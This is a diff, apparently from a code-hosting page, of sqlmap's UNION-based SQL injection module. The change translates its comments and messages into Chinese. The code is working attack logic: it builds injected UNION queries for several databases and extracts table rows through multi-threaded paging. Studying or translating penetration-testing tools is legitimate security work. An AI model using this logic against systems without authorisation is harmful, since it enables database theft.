page, headers, _ = Request.queryPage(payload, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
# 检查结果是否被强制转换为大写
if page and kb.chars.start.upper() in page and kb.chars.start not in page: if page and kb.chars.start.upper() in page and kb.chars.start not in page:
singleTimeWarnMessage("results seems to be upper-cased by force. sqlmap will automatically lower-case them") singleTimeWarnMessage("结果似乎被强制转换为大写。sqlmap将自动将其转换为小写")
page = page.lower() page = page.lower()
# 增加UNION技术使用计数
incrementCounter(PAYLOAD.TECHNIQUE.UNION) incrementCounter(PAYLOAD.TECHNIQUE.UNION)
# JSON聚合模式下的结果处理
if kb.jsonAggMode: if kb.jsonAggMode:
for _page in (page or "", (page or "").replace('\\"', '"')): for _page in (page or "", (page or "").replace('\\"', '"')):
if Backend.isDbms(DBMS.MSSQL): if Backend.isDbms(DBMS.MSSQL):
# MSSQL特定的JSON结果解析
output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
if output: if output:
try: try:
@ -117,10 +138,12 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
else: else:
retVal = getUnicode(retVal) retVal = getUnicode(retVal)
elif Backend.isDbms(DBMS.PGSQL): elif Backend.isDbms(DBMS.PGSQL):
# PostgreSQL特定的结果解析
output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
if output: if output:
retVal = output retVal = output
else: else:
# 其他数据库的JSON结果解析
output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
if output: if output:
try: try:
@ -135,61 +158,74 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
if retVal: if retVal:
break break
else: else:
# Parse the returned page to get the exact UNION-based # 非JSON模式下的结果解析
# SQL injection output
def _(regex): def _(regex):
return firstNotNone( return firstNotNone(
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE) extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
) )
# Automatically patching last char trimming cases # 自动修复最后一个字符被截断的情况
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
warnMsg = "automatically patching output having last char trimmed" warnMsg = "自动修复输出中最后一个字符被截断的情况"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop) page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
# 处理结果
if retVal is not None: if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding) retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection # MSSQL错误信息特殊处理
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlUnescape(retVal).replace("<br>", "\n") retVal = htmlUnescape(retVal).replace("<br>", "\n")
# 将结果写入hashDB缓存
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
elif not kb.jsonAggMode: elif not kb.jsonAggMode:
# 检查是否存在输出被截断的情况
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed: if trimmed:
warnMsg = "possible server trimmed output detected " warnMsg = "检测到可能的服务器截断输出 "
warnMsg += "(probably due to its length and/or content): " warnMsg += "(可能由于长度或内容导致): "
warnMsg += safecharencode(trimmed) warnMsg += safecharencode(trimmed)
logger.warning(warnMsg) logger.warning(warnMsg)
# 尝试移除ORDER BY子句重试
elif re.search(r"ORDER BY [^ ]+\Z", expression): elif re.search(r"ORDER BY [^ ]+\Z", expression):
debugMsg = "retrying failed SQL query without the ORDER BY clause" debugMsg = "重试失败的SQL查询(不带ORDER BY子句)"
singleTimeDebugMessage(debugMsg) singleTimeDebugMessage(debugMsg)
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
retVal = _oneShotUnionUse(expression, unpack, limited) retVal = _oneShotUnionUse(expression, unpack, limited)
# 尝试关闭NATIONAL CHARACTER转换
elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)): elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)):
debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1) debugMsg = "关闭NATIONAL CHARACTER转换"
singleTimeDebugMessage(debugMsg) singleTimeDebugMessage(debugMsg)
kb.nchar = False kb.nchar = False
retVal = _oneShotUnionUse(expression, unpack, limited) retVal = _oneShotUnionUse(expression, unpack, limited)
else: else:
# 从缓存获取结果时设置unionDuplicates
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7] kb.unionDuplicates = vector[7]
return retVal return retVal
def configUnion(char=None, columns=None): def configUnion(char=None, columns=None):
"""
配置UNION注入的参数
参数:
char - UNION分隔符
columns - UNION查询的列数范围
"""
def _configUnionChar(char): def _configUnionChar(char):
"""配置UNION分隔符"""
if not isinstance(char, six.string_types): if not isinstance(char, six.string_types):
return return
@ -199,6 +235,7 @@ def configUnion(char=None, columns=None):
kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'")) kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'"))
def _configUnionCols(columns): def _configUnionCols(columns):
"""配置UNION查询的列数范围"""
if not isinstance(columns, six.string_types): if not isinstance(columns, six.string_types):
return return
@ -209,13 +246,12 @@ def configUnion(char=None, columns=None):
colsStart, colsStop = columns, columns colsStart, colsStop = columns, columns
if not isDigit(colsStart) or not isDigit(colsStop): if not isDigit(colsStart) or not isDigit(colsStop):
raise SqlmapSyntaxException("--union-cols must be a range of integers") raise SqlmapSyntaxException("--union-cols必须是整数范围")
conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop) conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop)
if conf.uColsStart > conf.uColsStop: if conf.uColsStart > conf.uColsStop:
errMsg = "--union-cols range has to represent lower to " errMsg = "--union-cols范围必须是从小到大的数字"
errMsg += "higher number of columns"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
_configUnionChar(char) _configUnionChar(char)
@ -223,13 +259,21 @@ def configUnion(char=None, columns=None):
def unionUse(expression, unpack=True, dump=False): def unionUse(expression, unpack=True, dump=False):
""" """
This function tests for an UNION SQL injection on the target 使用UNION SQL注入技术执行查询
URL then call its subsidiary function to effectively perform an
UNION SQL injection on the affected URL 参数:
expression - SQL查询表达式
unpack - 是否需要解包结果
dump - 是否在dump模式下执行
返回:
查询结果
""" """
# 初始化UNION注入技术
initTechnique(PAYLOAD.TECHNIQUE.UNION) initTechnique(PAYLOAD.TECHNIQUE.UNION)
# 初始化变量
abortedFlag = False abortedFlag = False
count = None count = None
origExpr = expression origExpr = expression
@ -237,32 +281,35 @@ def unionUse(expression, unpack=True, dump=False):
stopLimit = None stopLimit = None
value = None value = None
# 获取控制台宽度和开始时间
width = getConsoleWidth() width = getConsoleWidth()
start = time.time() start = time.time()
# 解析表达式中的字段
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
# Set kb.partRun in case the engine is called from the API # 设置部分运行标志(API模式)
kb.partRun = getPartRun(alias=False) if conf.api else None kb.partRun = getPartRun(alias=False) if conf.api else None
# 移除ORDER BY子句(如果存在)
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
debugMsg = "stripping ORDER BY clause from statement because " debugMsg = "由于ORDER BY子句与UNION查询不兼容,已将其移除"
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg) singleTimeDebugMessage(debugMsg)
# 检查是否可以使用JSON聚合模式
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT)\(", expression): if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT)\(", expression):
kb.jsonAggMode = True kb.jsonAggMode = True
# 根据不同数据库构造JSON聚合查询
if Backend.isDbms(DBMS.MYSQL): if Backend.isDbms(DBMS.MYSQL):
query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1) query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1)
elif Backend.isDbms(DBMS.ORACLE): elif Backend.isDbms(DBMS.ORACLE):
query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
elif Backend.isDbms(DBMS.SQLITE): elif Backend.isDbms(DBMS.SQLITE):
query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item elif Backend.isDbms(DBMS.PGSQL):
query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
@ -270,16 +317,13 @@ def unionUse(expression, unpack=True, dump=False):
value = parseUnionPage(output) value = parseUnionPage(output)
kb.jsonAggMode = False kb.jsonAggMode = False
# We have to check if the SQL query might return multiple entries # 检查是否需要分页查询
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
# 添加LIMIT条件
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond: if limitCond:
# Count the number of SQL query entries output # 计算查询结果总数
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in countedExpression.upper(): if " ORDER BY " in countedExpression.upper():
@ -295,36 +339,33 @@ def unionUse(expression, unpack=True, dump=False):
else: else:
stopLimit = int(count) stopLimit = int(count)
debugMsg = "used SQL query returns " debugMsg = "SQL查询返回 "
debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") debugMsg += "%d %s" % (stopLimit, "条结果" if stopLimit > 1 else "条结果")
logger.debug(debugMsg) logger.debug(debugMsg)
elif count and (not isinstance(count, six.string_types) or not count.isdigit()): elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
warnMsg = "it was not possible to count the number " warnMsg = "无法计算SQL查询的结果数量。"
warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap将假设只返回一条结果"
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warning(warnMsg) logger.warning(warnMsg)
stopLimit = 1 stopLimit = 1
elif not isNumPosStrValue(count): elif not isNumPosStrValue(count):
if not count: if not count:
warnMsg = "the SQL query provided does not " warnMsg = "SQL查询没有返回任何结果"
warnMsg += "return any output"
logger.warning(warnMsg) logger.warning(warnMsg)
else: else:
value = [] # for empty tables value = [] # 空表
return value return value
# 如果结果数大于1,使用多线程处理
if isNumPosStrValue(count) and int(count) > 1: if isNumPosStrValue(count) and int(count) > 1:
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
try: try:
threadData.shared.limits = iter(xrange(startLimit, stopLimit)) threadData.shared.limits = iter(xrange(startLimit, stopLimit))
except OverflowError: except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg = "边界限制 (%d,%d) 太大。请使用'--fresh-queries'重新运行" % (startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
numThreads = min(conf.threads, (stopLimit - startLimit)) numThreads = min(conf.threads, (stopLimit - startLimit))
@ -339,12 +380,15 @@ def unionUse(expression, unpack=True, dump=False):
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info for " debugMsg = "由于行数较多,抑制可能的恢复控制台信息"
debugMsg += "large number of rows as it might take too long"
logger.debug(debugMsg) logger.debug(debugMsg)
try: try:
def unionThread(): def unionThread():
"""
UNION查询的线程函数
处理分页查询的单个线程任务
"""
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
while kb.threadContinue: while kb.threadContinue:
@ -355,6 +399,7 @@ def unionUse(expression, unpack=True, dump=False):
except StopIteration: except StopIteration:
break break
# 根据数据库类型处理字段
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0] field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE): elif Backend.isDbms(DBMS.ORACLE):
@ -362,6 +407,7 @@ def unionUse(expression, unpack=True, dump=False):
else: else:
field = None field = None
# 构造限制查询
limitedExpr = agent.limitQuery(num, expression, field) limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True) output = _oneShotUnionUse(limitedExpr, unpack, True)
@ -376,7 +422,7 @@ def unionUse(expression, unpack=True, dump=False):
if threadData.shared.showEta: if threadData.shared.showEta:
threadData.shared.progress.progress(threadData.shared.counter) threadData.shared.progress.progress(threadData.shared.counter)
if isListLike(items): if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit # 处理返回列数不匹配的情况
if len(items) > 1 and len(expressionFieldsList) > 1: if len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
items = [_ for _ in flattenValue(items)] items = [_ for _ in flattenValue(items)]
@ -404,12 +450,14 @@ def unionUse(expression, unpack=True, dump=False):
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
# 处理缓冲区
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
if not isNoneValue(_): if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_)) threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0] del threadData.shared.buffered[0]
# 显示查询进度
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode: if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode:
_ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
@ -419,6 +467,7 @@ def unionUse(expression, unpack=True, dump=False):
dataToStdout("%s\n" % status) dataToStdout("%s\n" % status)
# 运行多线程查询
runThreads(numThreads, unionThread) runThreads(numThreads, unionThread)
if conf.verbose == 1: if conf.verbose == 1:
@ -427,25 +476,28 @@ def unionUse(expression, unpack=True, dump=False):
except KeyboardInterrupt: except KeyboardInterrupt:
abortedFlag = True abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap " warnMsg = "用户中止枚举。sqlmap "
warnMsg += "will display partial output" warnMsg += "将显示部分输出"
logger.warning(warnMsg) logger.warning(warnMsg)
finally: finally:
# 整理最终结果
for _ in sorted(threadData.shared.buffered): for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]): if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1])) threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value value = threadData.shared.value
kb.suppressResumeInfo = False kb.suppressResumeInfo = False
# 如果没有使用分页查询且未中止,执行单次查询
if not value and not abortedFlag: if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack) output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output) value = parseUnionPage(output)
# 计算查询耗时
duration = calculateDeltaSeconds(start) duration = calculateDeltaSeconds(start)
if not kb.bruteMode: if not kb.bruteMode:
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration) debugMsg = "执行了 %d 次查询,耗时 %.2f" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg) logger.debug(debugMsg)
return value return value

Loading…
Cancel
Save